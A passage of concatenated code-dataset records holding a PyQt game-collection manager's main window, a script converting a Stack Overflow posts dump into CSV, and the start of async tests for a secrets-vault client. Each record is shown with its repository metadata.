db)\n        self.accessoriesTableView.doubleClick.connect(self.sidePanel.showDetails)\n        self.tableViewList = [self.gamesTableView,\n                              self.consolesTableView,\n                              self.accessoriesTableView]\n\n        self.allPlatforms = set()\n        self.allRegions = set()\n        self.allGenres = set()\n        self.allYears = set()\n        for table in self.tableViewList:\n            for row in table.ownedItems():\n                self.allPlatforms.add(row[\"platform\"])\n                self.allRegions.add(row[\"region\"])\n                self.allYears.add(row[\"year\"])\n                # Split multi-genre entries\n                for genre in row[\"genre\"].split(\", \"):\n                    self.allGenres.add(genre)\n\n        self.filterDock = FilterDock(sorted(self.allPlatforms, key=str.lower),\n                                     sorted(self.allRegions, key=str.lower),\n                                     sorted(self.allGenres, key=str.lower),\n                                     sorted(self.allYears, key=str.lower))\n\n        # Overview tab\n        self.overview = Overview(self.tableViewList)\n\n        # Randomizer tab\n        self.randomizer = Randomizer(self.gamesTableView.ownedItems(),\n                                     sorted(self.allPlatforms, key=str.lower),\n                                     sorted(self.allGenres, key=str.lower))\n        self.randomizer.consoleList.itemClicked.connect(self.updateStatusbar)\n        self.randomizer.genreList.itemClicked.connect(self.updateStatusbar)\n        self.randomizer.genreMatchExclusiveCB.stateChanged.connect(self.updateStatusbar)\n        self.randomizer.btnAll.clicked.connect(self.updateStatusbar)\n        self.randomizer.btnNone.clicked.connect(self.updateStatusbar)\n\n        ## MainWindow layout\n        # Widgets\n        self.centralWidget = QWidget()\n        self.setCentralWidget(self.centralWidget)\n        self.tab = QTabWidget()\n\n        self.toolbar = self.addToolBar(\"Exit\")\n        self.toolbar.addAction(self.buttonActions(\"exit\"))\n        self.toolbar.addAction(self.buttonActions(\"add\"))\n        self.toolbar.addAction(self.buttonActions(\"import\"))\n\n        self.fileMenu = self.menuBar().addMenu(self.tr(\"&File\"))\n        self.fileMenu.addAction(self.buttonActions(\"add\"))\n        self.fileMenu.addAction(self.buttonActions(\"export\"))\n        self.fileMenu.addAction(self.buttonActions(\"import\"))\n        self.fileMenu.addAction(self.buttonActions(\"steam\"))\n        self.fileMenu.addAction(self.buttonActions(\"fetch\"))\n        self.fileMenu.insertSeparator(self.buttonActions(\"exit\"))\n        self.fileMenu.addAction(self.buttonActions(\"exit\"))\n        self.viewMenu = self.menuBar().addMenu(self.tr(\"&View\"))\n        self.viewMenu.addAction(self.buttonActions(\"owned\"))\n        self.viewMenu.addAction(self.buttonActions(\"delnotowned\"))\n        self.viewMenu.addAction(self.buttonActions(\"value\"))\n        self.helpMenu = self.menuBar().addMenu(self.tr(\"&Help\"))\n        self.helpMenu.addAction(self.buttonActions(\"about\"))\n\n        self.statusProgressBar = QProgressBar()\n        self.statusProgressBar.setMaximumSize(100, 15)\n        self.statusProgressBar.setRange(0, 0)\n        self.statusProgressBar.setVisible(False)\n        self.statusBar().addPermanentWidget(self.statusProgressBar)\n\n        # Search stuff\n        self.searchLabel = QLabel(\"Search\")\n        self.searchLabel.setVisible(False)\n        self.searchBox = QLineEdit()\n        self.searchBox.setVisible(False)\n        self.searchBox.setClearButtonEnabled(True)\n        # self.searchBox.textChanged.connect(self.search)\n        self.searchBox.returnPressed.connect(self.search)\n        self.searchBtn = QPushButton(\"Search\")\n        self.searchBtn.clicked.connect(self.search)\n        self.searchBtn.setVisible(False)\n        self.filterBtn = QPushButton(\"Filter\")\n        self.filterBtn.clicked.connect(self.filterDock.toggleVisibility)\n        self.filterBtn.setVisible(False)\n\n        # Tab layout.\n        self.tab.addTab(self.overview.widget, \"Overview\")\n        self.tab.addTab(self.gamesTableView, \"Games\")\n        self.tab.addTab(self.consolesTableView, \"Consoles\")\n        self.tab.addTab(self.accessoriesTableView, \"Accessories\")\n        self.tab.addTab(self.randomizer.widget, \"Randomizer\")\n        self.tab.currentChanged.connect(self.search)\n        self.tab.currentChanged.connect(self.sidePanel.hideDetails)\n        # Connect sidePanel's saved signal to corresponding table's updateData()\n        # TODO: Update the sets of platforms and genres properly\n        self.sidePanel.saved.connect(self.tableViewList[self.tab.currentIndex()].updateData)\n        self.sidePanel.saved.connect(lambda: self.randomizer.updateLists(self.gamesTableView.ownedItems(),\n                                                                         sorted(self.allPlatforms, key=str.lower),\n                                                                         sorted(self.allGenres, key=str.lower)))\n\n        # Main layout\n        self.tabHbox = QHBoxLayout()\n        self.tabHbox.addWidget(self.tab, 1)\n        self.tabHbox.addWidget(self.sidePanel, 1)\n        self.advSearchHbox = QHBoxLayout()\n        self.advSearchHbox.addWidget(self.filterDock, 0)\n        self.searchHbox = QHBoxLayout()\n        self.searchHbox.addWidget(self.searchLabel, 0)\n        self.searchHbox.addWidget(self.searchBox, 1)\n        self.searchHbox.addWidget(self.filterBtn, 0)\n        self.searchHbox.addWidget(self.searchBtn, 0)\n        self.mainLayout = QVBoxLayout()\n        self.mainLayout.addLayout(self.tabHbox, 1)\n        self.mainLayout.addLayout(self.advSearchHbox, 0)\n        self.mainLayout.addLayout(self.searchHbox, 0)\n        self.centralWidget.setLayout(self.mainLayout)\n\n        # Make sure screen geometry is big enough. Otherwise set window to maximized.\n        gSize = QApplication.desktop().availableGeometry()\n        if gSize.width() <= 1280 or gSize.height() <= 768:\n            logger.info(\"Screen geometry smaller than 1280x768. Setting window to maximized mode.\")\n            self.showMaximized()\n        else:\n            self.resize(1280, 768)\n            self.center()\n\n        self.setWindowTitle(f\"Game Collection Manager v{_VERSION}\")\n        self.statusBar().showMessage(\"\")\n\n    def about(self):\n        aboutMsg = QMessageBox()\n        aboutMsg.setIcon(QMessageBox.Information)\n        aboutMsg.setWindowTitle(\"About\")\n        aboutMsg.setText(\"<h2>Game Collection Manager</h2>\")\n        aboutMsg.setInformativeText(f\"Version {_VERSION}\\n\")\n        aboutMsg.exec_()\n        self.search()\n\n    def addToCollection(self):\n        \"\"\"\n        Adds data to the collection using InputWindow\n        \"\"\"\n\n        # Loop until user enters valid data\n        while True:\n            self.addWindow = InputWindow(self.allPlatforms)\n            if self.addWindow.exec_() == QDialog.Accepted:\n                data = self.addWindow.returnData()\n\n                if data['platform'].isspace() or data['name'] == \"\":\n                    msgBox = QMessageBox()\n                    msgBox.setIcon(QMessageBox.Information)\n                    msgBox.setWindowTitle(\"Invalid entry\")\n                    msgBox.setText(\"Platform and name cannot be empty\")\n                    msgBox.exec_()\n                    continue\n\n                # Update Platform, Region, Genre, and Year in filter dock if necessary\n                if data[\"platform\"] not in self.allPlatforms:\n                    self.allPlatforms.add(data[\"platform\"])\n                    self.filterDock.updatePlatforms(sorted(self.allPlatforms, key=str.lower))\n                if data[\"region\"] not in self.allRegions:\n                    self.allRegions.add(data[\"region\"])\n                    self.filterDock.updateRegions(sorted(self.allRegions, key=str.lower))\n                if data[\"genre\"] not in self.allGenres:\n                    self.allGenres.add(data[\"genre\"])\n                    self.filterDock.updateGenres(sorted(self.allGenres, key=str.lower))\n                if data[\"year\"] not in self.allYears:\n                    self.allYears.add(data[\"year\"])\n                    self.filterDock.updateYears(sorted(self.allYears, key=str.lower))\n\n                if \"game\" in data.keys():\n                    self.gamesTableView.addData(data)\n                    self.overview.updateData(self.gamesTableView)\n                    self.randomizer.updateLists(self.gamesTableView.ownedItems(),\n                                                sorted(self.allPlatforms, key=str.lower),\n                                                sorted(self.allGenres, key=str.lower))\n                elif \"console\" in data.keys():\n                    self.consolesTableView.addData(data)\n                    self.overview.updateData(self.consolesTableView)\n                elif \"accessory\" in data.keys():\n                    self.accessoriesTableView.addData(data)\n                    self.overview.updateData(self.accessoriesTableView)\n                self.search()\n            else:\n                break\n\n    def deleteFromCollection(self):\n        currentTab = self.tab.currentIndex()\n\n        if 0 < currentTab < 4:\n            msgBox = QMessageBox()\n            msgBox.setWindowTitle(\"Delete items\")\n            msgBox.setText(\"Are you sure?\")\n            msgBox.setIcon(QMessageBox.Warning)\n            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n            msgBox.setDefaultButton(QMessageBox.Cancel)\n            ok = msgBox.exec_()\n\n            if ok == QMessageBox.Ok:\n                rows = []\n                indexes = self.tableViewList[currentTab-1].selectedIndexes()\n                for index in indexes:\n                    rows.append(index.row())\n                self.tableViewList[currentTab-1].deleteData(rows)\n                self.overview.updateData(self.tableViewList[currentTab-1])\n                if currentTab == 1:\n                    self.randomizer.updateLists(self.gamesTableView.ownedItems(),\n                                                sorted(self.allPlatforms, key=str.lower),\n                                                sorted(self.allGenres, key=str.lower))\n                self.search()\n\n    def deleteNotOwned(self):\n        \"\"\"\n        Deletes items in table that are not owned. Not owned items are items that\n        don't have either the item itself, the box, or the manual.\n        \"\"\"\n        currentTab = self.tab.currentIndex()\n\n        if 0 < currentTab < 4:\n            msgBox = QMessageBox()\n            msgBox.setWindowTitle(\"Remove not owned items\")\n            msgBox.setText(\"Are you sure?\")\n            msgBox.setIcon(QMessageBox.Warning)\n            msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n            msgBox.setDefaultButton(QMessageBox.Cancel)\n            ok = msgBox.exec_()\n\n            if ok == QMessageBox.Ok:\n                self.tableViewList[currentTab-1].deleteNotOwned()\n                self.search()\n\n    def fetchInfo(self):\n        \"\"\"\n        Fetches info for all games from MobyGames. Sleeps for 5 seconds\n        between game so we don't annoy their servers.\n        :return:\n        \"\"\"\n        msgBox = QMessageBox()\n        msgBox.setWindowTitle(\"Fetch info for all games\")\n        msgBox.setText(\"This will take a long time. Are you sure?\")\n        msgBox.setIcon(QMessageBox.Warning)\n        msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n        msgBox.setDefaultButton(QMessageBox.Cancel)\n        ok = msgBox.exec_()\n\n        if ok == QMessageBox.Ok:\n            games = self.gamesTableView.ownedItems()\n            for game in games:\n                info = getMobyRelease(game[\"name\"], game[\"platform\"], game[\"region\"])\n                price = getPriceData(game[\"name\"], game[\"platform\"], game[\"region\"])\n                paidPrice = game[\"price\"].split(\",\")[0]\n                info[\"price\"] = \",\".join((paidPrice, price[\"loose\"], price[\"cib\"], price[\"new\"]))\n                info[\"id\"] = game[\"id\"]\n                self.gamesTableView.updateData(info)\n\n                if \"image\" in info.keys() and info[\"image\"] != \"\":\n                    coverDir = path.join(\"data\", \"images\", \"covers\")\n                    id = str(game[\"id\"]) + \".jpg\"\n                    imageData = requests.get(info[\"image\"]).content\n\n                    if not path.exists(path.join(coverDir, id)):\n                        with open(path.join(coverDir, id), \"wb\") as f:\n                            f.write(imageData)\n\n                sleep(5)  # Be nice\n\n    def importToDatabase(self):\n        \"\"\"\n        Imports all games from selected platforms into database as not owned.\n        This is to make it easier for the user to quickly go through the games\n        in a platform and check which games they own.\n        \"\"\"\n        self.importWindow = ImportWindow()\n        if self.importWindow.exec_() == QDialog.Accepted:\n            data, platforms, regions = self.importWindow.returnData()\n            self.statusProgressBar.setVisible(True)\n            self.gamesTableView.addData(data)\n            self.statusProgressBar.setVisible(False)\n\n            for platform in platforms:\n                if platform not in self.allPlatforms:\n                    self.allPlatforms.add(platform)\n                    self.filterDock.updatePlatforms(sorted(self.allPlatforms, key=str.lower))\n            for region in regions:\n                if region not in self.allRegions:\n                    self.allRegions.add(region)\n                    self.filterDock.updateRegions(sorted(self.allRegions, key=str.lower))\n            self.search()\n\n    def importSteamLibrary(self):\n        apiKey, ok = QInputDialog.getText(self, \"Import Steam Library\", \"Enter Steam API Key:\")\n        if ok and not (apiKey.isspace() or apiKey == \"\"):\n            steamID, ok = QInputDialog.getText(self, \"Import Steam Library\", \"Enter Steam User ID:\")\n            if ok and not (steamID.isspace() or steamID == \"\"):\n                try:\n                    games = getSteamLibrary(apiKey, steamID)\n                except (PermissionError, ValueError) as e:\n                    msgBox = QMessageBox(QMessageBox.Critical, \"Error\", \"An error occured.\")\n                    msgBox.setInformativeText(str(e))\n                    msgBox.exec_()\n                else:\n                    if \"Steam\" not in self.allPlatforms:\n                        self.allPlatforms.add(\"Steam\")\n                        self.allRegions.add(\"Steam\")\n                        self.filterDock.updatePlatforms(sorted(self.allPlatforms, key=str.lower))\n                        self.filterDock.updateRegions(sorted(self.allRegions, key=str.lower))\n                        self.gamesTableView.addData(games)\n                    else:  # Only add games not already in collection\n                        existingGames = []\n                        query = QSqlQuery()\n                        query.exec_(\"SELECT Name from games WHERE Region='Steam'\")\n                        while query.next():\n                            existingGames.append(query.value(0))\n\n                        for game in games:\n                            if game[\"name\"] not in existingGames:\n                                self.gamesTableView.addData(game)\n                    self.overview.updateData(self.gamesTableView)\n                    self.randomizer.updateLists(self.gamesTableView.ownedItems(),\n                                                sorted(self.allPlatforms, key=str.lower),\n                                                sorted(self.allGenres, key=str.lower))\n                    self.search()\n\n    def exportToCSV(self):\n        def doexport():\n            filetype = filetypes.currentText()\n            exportTables = []\n            db = self.consolesTableView.model.database()\n            if tablesBox.currentIndex() == 0:\n                for table in tables[1:]:\n                    exportTables.append(table.lower())\n            elif tablesBox.currentIndex() == 1:\n                exportTables.append(\"games\")\n            elif tablesBox.currentIndex() == 2:\n                exportTables.append(\"consoles\")\n            elif tablesBox.currentIndex() == 3:\n                exportTables.append(\"accessories\")\n\n            sql2csv(db, exportTables, filetype)\n            exportWindow.close()\n\n        exportWindow = QDialog()\n\n        tables = [\"All\", \"Games\", \"Consoles\", \"Accessories\"]\n        tablesLabel = QLabel(\"Tables to export\")\n        tablesBox = QComboBox()\n        # tablesBox.addItem(None, text=\"All\")\n        tablesBox.addItems(tables)\n        tablesLayout = QHBoxLayout()\n        tablesLayout.addWidget(tablesLabel)\n        tablesLayout.addWidget(tablesBox)\n\n        filetypesLabel = QLabel(\"Filetype\")\n        filetypes = QComboBox()\n        filetypes.addItems([\"csv\", \"tsv\"])\n        filetypesLayout = QHBoxLayout()\n        filetypesLayout.addWidget(filetypesLabel)\n        filetypesLayout.addWidget(filetypes)\n\n        # filenameLabel = QLabel(\"Filename\")\n        # filename = QLineEdit()\n        # filesLayout = QHBoxLayout()\n        # filesLayout.addWidget(filenameLabel)\n        # filesLayout.addWidget(filename)\n\n        ok = QPushButton(\"Ok\")\n        ok.clicked.connect(doexport)\n        cancel = QPushButton(\"Cancel\")\n        cancel.clicked.connect(exportWindow.close)\n        buttonLayout = QHBoxLayout()\n        buttonLayout.addWidget(ok)\n        buttonLayout.addWidget(cancel)\n\n        layout = QVBoxLayout()\n        layout.addLayout(tablesLayout)\n        # layout.addLayout(filesLayout)\n        layout.addLayout(filetypesLayout)\n        layout.addLayout(buttonLayout)\n\n        exportWindow.setLayout(layout)\n        exportWindow.exec_()\n\n    # noinspection PyCallByClass,PyTypeChecker\n    def buttonActions(self, action: str) -> QAction:\n        addAct = QAction(QIcon().fromTheme(\"list-add\"), \"&Add to collection...\", self)\n        addAct.setShortcut(\"Ctrl+A\")\n        addAct.setToolTip(\"Add to collection\")\n        addAct.triggered.connect(self.addToCollection)\n\n        delText = \"&Delete row\"\n        currentTab = self.tab.currentIndex()\n        if 0 < currentTab < 4:\n            if len(self.tableViewList[currentTab-1].selectedIndexes()) > 1:\n                delText += \"s\"\n        delAct = QAction(QIcon().fromTheme(\"edit-delete\"), delText, self)\n        delAct.setToolTip(\"Delete from collection\")\n        delAct.triggered.connect(self.deleteFromCollection)\n\n        detAct = QAction(QIcon.fromTheme(\"text-x-generic-template\"), \"Details...\", self)\n        detAct.setToolTip(\"Open details side-panel\")\n        detAct.triggered.connect(self.tableViewList[currentTab-1].rowData)\n\n        expAct = QAction(QIcon.fromTheme(\"text-x-generic-template\"), \"&Export as csv...\", self)\n        expAct.setShortcut(\"Ctrl+E\")\n        expAct.setToolTip(\"Export table as CSV file\")\n        expAct.triggered.connect(self.exportToCSV)\n\n        impAct = QAction(QIcon.fromTheme(\"insert-object\"), \"&Import platform template...\", self)\n        impAct.setShortcut(\"Ctrl+I\")\n        impAct.setToolTip(\"Import games to database\")\n        impAct.triggered.connect(self.importToDatabase)\n\n        stmAct = QAction(QIcon.fromTheme(\"insert-object\"), \"Import Steam Library...\", self)\n        stmAct.triggered.connect(self.importSteamLibrary)\n\n        ownAct = QAction(\"Hide games not in collection\", self)\n        ownAct.setCheckable(True)\n        ownAct.setChecked(True)\n        ownAct.triggered.connect(self.toggleOwnedFilter)\n\n        delNotOwned = QAction(QIcon().fromTheme(\"edit-delete\"), \"Remove items not in collection\", self)\n        delNotOwned.setToolTip(\"Remove items that are not owned from database\")\n        delNotOwned.triggered.connect(self.deleteNotOwned)\n\n        aboutAct = QAction(QIcon.fromTheme(\"help-about\"), \"Abou&t\", self)\n        aboutAct.setToolTip(\"About Game Collection Manager\")\n        aboutAct.triggered.connect(self.about)\n\n        exitAct = QAction(QIcon.fromTheme(\"application-exit\"), \"&Exit\", self)\n        exitAct.setShortcut(\"Ctrl+Q\")\n        exitAct.setToolTip(\"Exit application\")\n        exitAct.triggered.connect(self.close)\n\n        infoAct = QAction(\"Debug: Print row info\", self)\n        infoAct.triggered.connect(self.info)\n\n        fetchAct = QAction(\"Fetch info for all games...\", self)\n        fetchAct.setToolTip(\"Tries to fetch info for all games from MobyGames\")\n        fetchAct.triggered.connect(self.fetchInfo)\n\n        valAct = QAction(\"Total value of collection\", self)\n        valAct.setToolTip(\"Rough estimate of the total value of collection\")\n        valAct.triggered.connect(self.totalValue)\n\n        act = {\"add\": addAct, \"del\": delAct, \"det\": detAct, \"export\": expAct,\n               \"import\": impAct, \"steam\": stmAct, \"owned\": ownAct,\n               \"delnotowned\": delNotOwned, \"about\": aboutAct, \"exit\": exitAct,\n               \"info\": infoAct, \"fetch\": fetchAct, \"value\": valAct}\n\n        return act.get(action)\n\n    def center(self):\n        \"\"\"Centers window on screen\"\"\"\n\n        qr = self.frameGeometry()\n        cp = QDesktopWidget().availableGeometry().center()\n        qr.moveCenter(cp)\n        self.move(qr.topLeft())\n\n    def contextMenuEvent(self, event):\n        \"\"\"Re-implements context menu functionality for our needs.\"\"\"\n        cmenu = QMenu(self)\n\n        currentTab = self.tab.currentIndex()\n\n        if 0 < currentTab < 4:\n            cmenu.addAction(self.buttonActions(\"det\"))\n            cmenu.addAction(self.buttonActions(\"del\"))\n            cmenu.addAction(self.buttonActions(\"info\"))\n            cmenu.exec_(self.mapToGlobal(event.pos()))\n\n        self.search()\n\n    def info(self):\n        currentTab = self.tab.currentIndex()\n        indexes = self.tableViewList[currentTab-1].selectedIndexes()\n        rows = [index.row() for index in indexes]\n        for _ in rows:\n            self.tableViewList[currentTab-1].rowInfo()\n\n    def search(self):\n        \"\"\"Filters table contents based on user input\"\"\"\n\n        currentTab = self.tab.currentIndex()\n\n        if 0 < currentTab < 4:\n            searchText = self.searchBox.text()\n            self.searchLabel.setVisible(True)\n            self.searchBox.setVisible(True)\n            self.filterBtn.setVisible(True)\n            self.searchBtn.setVisible(True)\n            self.filterDock.setItemType(currentTab)\n            itemCount = self.tableViewList[currentTab - 1].filterTable(searchText, self.filterDock.getSelections())\n\n            if searchText != \"\" or len(self.filterDock.getSelections()) > 0:\n                self.statusBar().showMessage(\"Found {} {}.\".format(itemCount,\n                                                                   self.tableViewList[currentTab-1].model.tableName()))\n            else:\n                self.updateStatusbar()\n        else:\n            self.searchLabel.setVisible(False)\n            self.searchBox.setVisible(False)\n            self.filterBtn.setVisible(False)\n            self.searchBtn.setVisible(False)\n            if self.filterDock.isVisible():\n                self.filterDock.toggleVisibility()\n\n    def toggleOwnedFilter(self):\n        for table in self.tableViewList:\n            table.setHideNotOwned(False) if table.hideNotOwned\\\n                else table.setHideNotOwned(True)\n        currentTab = self.tab.currentIndex()\n        if 0 < currentTab < 4:\n            self.tableViewList[currentTab-1].filterTable(self.searchBox.text(), self.filterDock.getSelections())\n        self.search()\n\n    def totalValue(self):\n        value = 0.0\n        items = []\n        for table in self.tableViewList:\n            items.extend(table.ownedItems())\n\n        for item in items:\n            if item[\"item\"] == \"Yes\" and item[\"box\"] == \"Yes\" and item[\"manual\"] == \"Yes\":\n                price = item[\"price\"].split(\",\")[2]\n            else:\n                price = item[\"price\"].split(\",\")[1]\n\n            if price == \"N/A\":\n                value += 0\n                continue\n            value += float(price.lstrip(\"$\"))\n\n        displayMsgBox(\"Collection value\", \"Rough estimate of collection's value.\",\n                      f\"<h2>${str(value)}</h2>\", \"information\")\n\n    def updateStatusbar(self):\n        currentTab = self.tab.currentIndex()\n        itemType = [\"games\", \"consoles\", \"accessories\"]\n\n        if currentTab == 0:\n            self.statusBar().showMessage(\"\")\n        elif 0 < currentTab < 4:\n            numItems = self.tableViewList[currentTab-1].ownedCount\n            if self.tableViewList[currentTab-1].hideNotOwned:\n                self.statusBar().showMessage(f\"{numItems} {itemType[currentTab-1]} in collection.\")\n            else:\n                self.statusBar().showMessage(\"Showing {} {} ({} {} in collection).\".format(\n                    self.tableViewList[currentTab-1].allCount,\n                    itemType[currentTab-1],\n                    numItems,\n                    itemType[currentTab-1]))\n        elif currentTab == 4:\n            platforms = self.randomizer.consoleList.selectedItems()\n            genres = self.randomizer.genreList.selectedItems()\n            self.statusBar().showMessage(\"Select platforms or genre to randomize from.\")\n            if len(platforms) > 0 or len(genres) > 0:\n                self.statusBar().showMessage(f\"Selecting from {self.randomizer.gameCount()} games.\")\n            return\n\n\ndef displayMsgBox(title: str, message: str, info: str, messageType: str):\n    icons = {\"warning\": QMessageBox.Warning,\n             \"critical\": QMessageBox.Critical,\n             \"question\": QMessageBox.Question,\n             \"information\": QMessageBox.Information}\n\n    msgBox = QMessageBox()\n    msgBox.setWindowTitle(title)\n    msgBox.setText(message)\n    msgBox.setInformativeText(info)\n    msgBox.setIcon(icons[messageType])\n    if messageType == \"question\":\n        msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n        msgBox.setDefaultButton(QMessageBox.Cancel)\n\n    return msgBox.exec_()\n","repo_name":"rsvensson/GameCollectionManager","sub_path":"GameCollectionManager/widgets/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":27760,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"5977707811","text":"from lxml import etree\nfrom datetime import datetime\nimport csv\nimport logging\nimport argparse\nfrom util import tags_huge, keyword_list, cols_base, wrap_tags\nfrom pathlib import Path\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-p\", \"--progressindicatorvalue\",\n                    help=\"Shows nr of rows imported for larger files\", type=int, default=10000000)\nargs = parser.parse_args()\n\n\ninputdir = \"/home/amirrezaesmaeili/Downloads/Persepolis/Compressed/data/Stackoverflow.com-Posts/Posts.xml\"\noutputdir = \"./data/intermediary/\" + \\\n    datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\nPath(outputdir).mkdir(parents=True, exist_ok=True)\n\ncols = cols_base\n\ndeprecate_keywords = keyword_list\n\ntarget_tags = wrap_tags(tags_huge)\n\ntotal_rows = 57721548\nprocess_row_limit = 5000000000000\ncreate_row_limit = 5000000000000\n# process_row_limit = 50000\n# create_row_limit = 500\nskip_title_body_check = False\n\n\ndef clean_data(column, type):\n    _column = column\n    if str(column) == \"False\":\n        _column = 0\n    elif str(column) == \"True\":\n        _column = 1\n\n    if type == \"CreationDate\" or type == \"LastActivityDate\" or type == \"LastEditDate\" or type == \"LastAccessDate\":\n        _column = datetime.strptime(\n            _column, \"%Y-%m-%dT%H:%M:%S.%f\").strftime(\"%Y-%m-%d %H:%M:%S\")\n    return _column\n\n\nquestion_cache = {}\n\n\ndef process_row(mode, id, parent_id, post_type_id, tags, body, title):\n    if post_type_id == '1':\n        postType = 'Q'\n    elif post_type_id == '2':\n        postType = 'A'\n    else:\n        postType = 'U'\n\n    if postType == 'U':\n        return False\n    if mode == 'scan' and postType == 'A':\n        return False\n\n    if postType == 'Q':\n        tagsOk = False\n        for tag in target_tags:\n            if tag in tags:\n                tagsOk = True\n                break\n        if not tagsOk:\n            return False\n\n        if mode == 'scan':\n            question_cache[id] = []\n\n    if postType == 'A':\n        bodyOk = skip_title_body_check or False\n        if not skip_title_body_check:\n            for keyword in deprecate_keywords:\n                if keyword in body:\n                    bodyOk = True\n                    break\n        if not bodyOk:\n            return False\n\n        if parent_id in question_cache:\n            question_cache[parent_id].append(id)\n        else:\n            return False\n\n    return True\n\n\ndef parse_xml(sourcefilename, destinationfilename, columns, mode):\n    context = etree.iterparse(sourcefilename, events=('end',), tag='row')\n    if mode == 'write':\n        f = open(destinationfilename, 'w', newline='', encoding=\"utf-8\")\n        w = csv.writer(f, quoting=csv.QUOTE_ALL)\n    processed_rows = 0\n    created_rows = 0\n    q_created_rows = 0\n    a_created_rows = 0\n    u_created_rows = 0\n    if mode == 'write':\n        w.writerow(columns)\n    last_iter_time = datetime.now()\n    for event, element in context:\n        if (processed_rows % args.progressindicatorvalue == 0):\n            elapsed_time = datetime.now() - last_iter_time\n            last_iter_time = datetime.now()\n            estimated_time = elapsed_time * \\\n                ((total_rows - processed_rows) / args.progressindicatorvalue)\n            logging.info(\"   MODE: %s,Processed %s rows, created %s rows. elapsed: %s ETA: %s, done: %s%%\",\n                         mode, processed_rows, created_rows, elapsed_time, estimated_time, (processed_rows / total_rows) * 100)\n        if processed_rows > process_row_limit or created_rows > create_row_limit:\n            break\n\n        processed_rows += 1\n        post_type_id = element.attrib[\"PostTypeId\"]\n        title = (element.attrib[\"Title\"]\n                 if \"Title\" in element.attrib else '').strip().lower()\n        body = (element.attrib[\"Body\"]\n                if \"Body\" in element.attrib else '').strip().lower()\n        tags = (element.attrib[\"Tags\"]\n                if \"Tags\" in element.attrib else '').strip().lower()\n        id = (element.attrib[\"Id\"]\n              if \"Id\" in element.attrib else '').strip().lower()\n        parent_id = (element.attrib[\"ParentId\"]\n                     if \"ParentId\" in element.attrib else '').strip().lower()\n        if process_row(mode, id, parent_id, post_type_id, tags, body, title):\n            if mode == 'write':\n                row = [clean_data(\n                    element.attrib[column], column) if column in element.attrib else '' for column in columns]\n                w.writerow(row)\n                created_rows += 1\n                if post_type_id == '1':\n                    q_created_rows += 1\n                elif post_type_id == '2':\n                    a_created_rows += 1\n                else:\n                    u_created_rows += 1\n\n            while element.getprevious() is not None:\n                del element.getparent()[0]\n        else:\n            while element.getprevious() is not None:\n                del element.getparent()[0]\n\n    if mode == 'write':\n        f.close()\n    return processed_rows, created_rows, q_created_rows, a_created_rows, u_created_rows\n\n\nformat = \"%(asctime)s: %(message)s\"\nlogging.basicConfig(format=format, level=logging.INFO,\n                    datefmt=\"%H:%M:%S\")\n\nlogging.info(\"Starting processing\")\n\nstart_time = datetime.now()\nprocessed_rows, created_rows, q, a, u = parse_xml(\n    inputdir, outputdir + \"/posts.csv\", cols, 'scan')\nelapsed_time = datetime.now() - start_time\n\nlogging.info(\"SCAN: Finished processing, processed %s rows, created %s rows in %s\",\n             processed_rows, created_rows, elapsed_time)\n\nstart_time = datetime.now()\nprocessed_rows, created_rows, q_created_rows, a_created_rows, u_created_rows = parse_xml(\n    inputdir, outputdir + \"/posts.csv\", cols, 'write')\nelapsed_time = datetime.now() - start_time\n\nlogging.info(\"WRITE: Finished processing, processed %s rows, created %s Q rows and %s A rows, Total: %s, in %s\",\n             processed_rows, q_created_rows, a_created_rows, created_rows, elapsed_time)\n\nf = open(outputdir + \"/relations.csv\", 'w', newline='', encoding=\"utf-8\")\nw = csv.writer(f, quoting=csv.QUOTE_ALL)\nw.writerow(['QuestionId', 'AnswerId'])\nprocessed_rels = 0\ncreated_rels = 0\ncreated_rels_a = 0\nfor key, value in question_cache.items():\n    processed_rels += 1\n    if len(value) > 0:\n        created_rels += 1\n        ids = []\n        for v in value:\n            created_rels_a += 1\n            ids.append(v)\n        w.writerow([key, '-'.join(ids)])\n\n\nlogging.info(\"RELATIONS: Finished processing, processed %s rows, created %s, containing %s answers\",\n             processed_rels, created_rels, created_rels_a)\n\nprint(sum([len(x) for x in question_cache.values()]))\n","repo_name":"Amirresm/SO-obso-data-collection","sub_path":"process_data_dump.py","file_name":"process_data_dump.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29256021007","text":"from datetime import datetime, timezone\n\nimport pytest\nfrom aiohttp.web import json_response\n\nfrom maps_adv.common.aioyav import AccessError, InvalidOAuthToken, InvalidUUID\n\npytestmark = [pytest.mark.asyncio]\n\n\n@pytest.fixture\ndef mock_versions(rmock):\n    return lambda secret_uuid, *a: rmock(f\"/1/versions/{secret_uuid}/\", \"GET\", *a)\n\n\nasync def test_sends_correct_request(mock_versions, yav):\n    request_path = None\n    request_headers = None\n\n    async def _handler(request):\n        nonlocal request_path, request_headers\n        request_path = request.path\n        request_headers = request.headers\n        return json_response(data=success_response, status=200)\n\n    mock_versions(\"sec-01e6zwtfg5g4b727yq4w3qvnz3\", _handler)\n\n    await yav.retrieve_secret_head(\"sec-01e6zwtfg5g4b727yq4w3qvnz3\")\n\n    assert request_path == \"/1/versions/sec-01e6zwtfg5g4b727yq4w3qvnz3/\"\n    assert request_headers.get(\"Authorization\") == \"OAuth oauth_token\"\n\n\nasync def test_returns_secret_details(mock_versions, yav):\n    mock_versions(\n        \"sec-01e6zwtfg5g4b727yq4w3qvnz3\",\n        json_response(data=success_response, status=200),\n    )\n\n    got = await yav.retrieve_secret_head(\"sec-01e6zwtfg5g4b727yq4w3qvnz3\")\n\n    assert got == {\n        \"comment\": \"\",\n        \"created_at\": datetime(2020, 4, 28, 8, 0, 31, 246000, tzinfo=timezone.utc),\n        \"created_by\": 1120000000098712,\n        \"creator_login\": \"sivakov512\",\n        \"secret_name\": \"aioyav-example\",\n        \"secret_uuid\": \"sec-01e6zwtfg5g4b727yq4w3qvnz3\",\n        \"value\": {\"key_one\": \"some value\", \"100\": \"500\", \"key-two\": \"another\\nvalue\"},\n        \"version\": 